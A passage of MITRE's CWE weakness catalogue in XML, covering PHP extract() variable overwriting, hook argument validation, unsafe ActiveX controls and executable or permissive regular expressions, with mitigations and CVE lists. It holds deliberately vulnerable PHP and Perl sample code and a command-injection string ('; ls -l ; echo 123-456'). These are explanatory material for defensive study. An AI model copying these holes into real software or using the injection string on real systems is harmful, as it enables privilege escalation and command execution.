					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use whitelists of variable names that can be extracted.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider refactoring your code to avoid extraction routines
							altogether.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>In PHP, call extract() with options such as EXTR_SKIP and
							EXTR_PREFIX_ALL; call import_request_variables() with a prefix argument.
							Note that these capabilities are not present in all PHP versions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text> This code uses the credentials sent in a POST request to login a
						user. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Comment>//Log user in, and set $isAdmin to true if user is an
								administrator</Comment>
							              <Code>function login($user,$pass){</Code>
							              <Block>
								                <Code>$query = buildQuery($user,$pass);</Code>
								                <Code>mysql_query($query);</Code>
								                <Code>if(getUserRole($user) == "Admin"){</Code>
								                <Block>
									                  <Code>$isAdmin = true;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>$isAdmin = false;</Code>
							              <Code>extract($_POST);</Code>
							              <Code>login(mysql_real_escape_string($user),mysql_real_escape_string($pass));</Code>
						            </Block>
						            <Text>The call to extract() will overwrite the existing values of any
							variables defined previously, in this case $isAdmin. An attacker can
							send a POST request with an unexpected third value "isAdmin" equal to
							"true", thus gaining Admin privileges.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-7135</Observed_Example_Reference>
					          <Observed_Example_Description>extract issue enables file
						inclusion</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-7079</Observed_Example_Reference>
					          <Observed_Example_Description>extract used for register_globals compatibility
						layer, enables path traversal</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-0649</Observed_Example_Reference>
					          <Observed_Example_Description>extract() buried in include files makes
						post-disclosure analysis confusing; original report had seemed
						incorrect.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6661</Observed_Example_Reference>
					          <Observed_Example_Description>extract() enables static code
						injection</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-2828</Observed_Example_Reference>
					          <Observed_Example_Description>import_request_variables() buried in include files
						makes post-disclosure analysis confusing</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Probably under-reported for PHP. Under-studied for other interpreted
						languages.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Observed_Example,
						Other_Notes, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="622" Name="Improper Validation of Function Hook Arguments" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>A product adds hooks to user-accessible API functions, but does
					not properly validate the arguments. This could lead to resultant
					vulnerabilities.</Description_Summary>
				        <Extended_Description>
					          <Text>Such hooks can be used in defensive software that runs with privileges,
						such as anti-virus or firewall, which hooks kernel calls. When the arguments
						are not validated, they could be used to bypass the protection scheme or
						attack the product itself.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that all arguments are verified, as defined by the API you are
							protecting.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Drop privileges before invoking such functions, if possible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-0708</Observed_Example_Reference>
					          <Observed_Example_Description>DoS in firewall using standard Microsoft
						functions</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-7160</Observed_Example_Reference>
					          <Observed_Example_Description>DoS in firewall using standard Microsoft
						functions</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-1376</Observed_Example_Reference>
					          <Observed_Example_Description>function does not verify that its argument is the
						proper type, leading to arbitrary memory
						write</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-1220</Observed_Example_Reference>
					          <Observed_Example_Description>invalid syscall arguments bypass code execution
						limits</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4541</Observed_Example_Reference>
					          <Observed_Example_Description>DoS in IDS via NULL
						argument</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Observed_Example,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Name, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
				           <Previous_Entry_Name Name_Change_Date="2012-10-30">Unvalidated Function Hook Arguments</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="623" Name="Unsafe ActiveX Control Marked Safe For Scripting" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>An ActiveX control is intended for restricted use, but it has
					been marked as safe-for-scripting.</Description_Summary>
				        <Extended_Description>
					          <Text>This might allow attackers to use dangerous functionality via a web page
						that accesses the control, which can lead to different resultant
						vulnerabilities, depending on the control's behavior.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>267</Relationship_Target_ID>
					          <!--Privilege Defined With Unsafe Actions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>691</Relationship_Target_ID>
					          <!--Insufficient Control Flow Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>618</Relationship_Target_ID>
					          <!--Exposed Unsafe ActiveX Method-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>During development, do not mark it as safe for scripting.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>After distribution, you can set the kill bit for the control so that
							it is not accessible from Internet Explorer.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-0617</Observed_Example_Reference>
					          <Observed_Example_Description>add emails to spam
						whitelist</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-0219</Observed_Example_Reference>
					          <Observed_Example_Description>web browser uses certain COM objects as
						ActiveX</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6510</Observed_Example_Reference>
					          <Observed_Example_Description>kiosk allows bypass to read
						files</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>It is suspected that this is under-reported.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Link>http://msdn.microsoft.com/workshop/components/activex/safety.asp</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Link>http://msdn.microsoft.com/workshop/components/activex/security.asp</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Link>http://support.microsoft.com/kb/240797</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 16, "What ActiveX Components Are Safe for
						Initialization and Safe for Scripting?" Page 510</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 12, "ActiveX Security", Page 749.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Observed_Example,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="624" Name="Executable Regular Expression Error" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The product uses a regular expression that either (1) contains
					an executable component with user-controlled inputs, or (2) allows a user to
					enable execution by inserting pattern modifiers.</Description_Summary>
				        <Extended_Description>
					          <Text>Case (2) is possible in the PHP preg_replace() function, and possibly in
						other languages when a user-controlled input is inserted into a string that
						is later parsed as a regular expression.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>77</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements used in a Command ('Command Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="PHP"/>
					          <Language Language_Name="Perl"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>The regular expression feature in some languages allows inputs to be
							quoted or escaped before insertion, such as \Q and \E in Perl.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-2059</Observed_Example_Reference>
					          <Observed_Example_Description>executable regexp in PHP by inserting "e" modifier
						into first argument to preg_replace</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3420</Observed_Example_Reference>
					          <Observed_Example_Description>executable regexp in PHP by inserting "e" modifier
						into first argument to preg_replace</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-2878</Observed_Example_Reference>
					          <Observed_Example_Reference>CVE-2006-2908</Observed_Example_Reference>
					          <Observed_Example_Description>complex curly syntax inserted into the replacement
						argument to PHP preg_replace(), which uses the "/e"
						modifier</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied. The existing PHP reports are limited to highly skilled
						researchers, but there are few examples for other languages. It is suspected
						that this is under-reported for all languages. Usability factors might make
						it more prevalent in PHP, but this theory has not been investigated.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships,
						Observed_Example</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="625" Name="Permissive Regular Expression" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product uses a regular expression that does not
					sufficiently restrict the set of allowed values.</Description_Summary>
				        <Extended_Description>
					          <Text>This effectively causes the regexp to accept substrings that match the
						pattern, which produces a partial comparison to the target. In some cases,
						this can lead to other weaknesses. Common errors include:</Text>
					          <Block Block_Nature="List">
						            <Text>not identifying the beginning and end of the target string</Text>
						            <Text>using wildcards instead of acceptable character ranges</Text>
						            <Text>others</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>185</Relationship_Target_ID>
					          <!--Incorrect Regular Expression-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>187</Relationship_Target_ID>
					          <!--Partial Comparison-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>184</Relationship_Target_ID>
					          <!--Incomplete Blacklist-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>183</Relationship_Target_ID>
					          <!--Permissive Whitelist-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>845</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Perl"/>
					          <Language Language_Name="PHP"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>This problem is frequently found when the regular expression is used in
						input validation or security features such as authentication.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When applicable, ensure that the regular expression marks beginning
							and ending string patterns, such as "/^string$/" for Perl.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-37">
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>$phone = GetPhoneNumber();</Code>
							              <Code>if ($phone =~ /\d+-\d+/) {</Code>
							              <Block>
								                <Comment># looks like it only has hyphens and digits</Comment>
								                <Code>system("lookup-phone $phone");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>else {</Code>
							              <Block>
								                <Code>error("malformed number!");</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>An attacker could provide an argument such as: "; ls -l ; echo
							123-456" This would pass the check, since "123-456" is sufficient to
							match the "\d+-\d+" portion of the regular expression.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-1895</Observed_Example_Reference>
					          <Observed_Example_Description>".*" regexp leads to static code
						injection</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2175</Observed_Example_Reference>
					          <Observed_Example_Description>insertion of username into regexp results in
						partial comparison, causing wrong database entry to be updated when one
						username is a substring of another.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4527</Observed_Example_Reference>
					          <Observed_Example_Description>regexp intended to verify that all characters are
						legal, only checks that at least one is legal, enabling file
						inclusion.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1949</Observed_Example_Reference>
					          <Observed_Example_Description>Regexp for IP address isn't anchored at the end,
						allowing appending of shell metacharacters.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2109</Observed_Example_Reference>
					          <Observed_Example_Description>Regexp isn't "anchored" to the beginning or end,
						which allows spoofed values that have trusted values as
						substrings.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6511</Observed_Example_Reference>
					          <Observed_Example_Description>regexp in .htaccess file allows access of files
						whose names contain certain substrings</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6629</Observed_Example_Reference>
					          <Observed_Example_Description>allow load of macro files whose names contain
						certain substrings.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Description>VIM Mailing list, March 14,
						2006</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "Character Stripping Vulnerabilities", Page
						437.</Reference_Section>
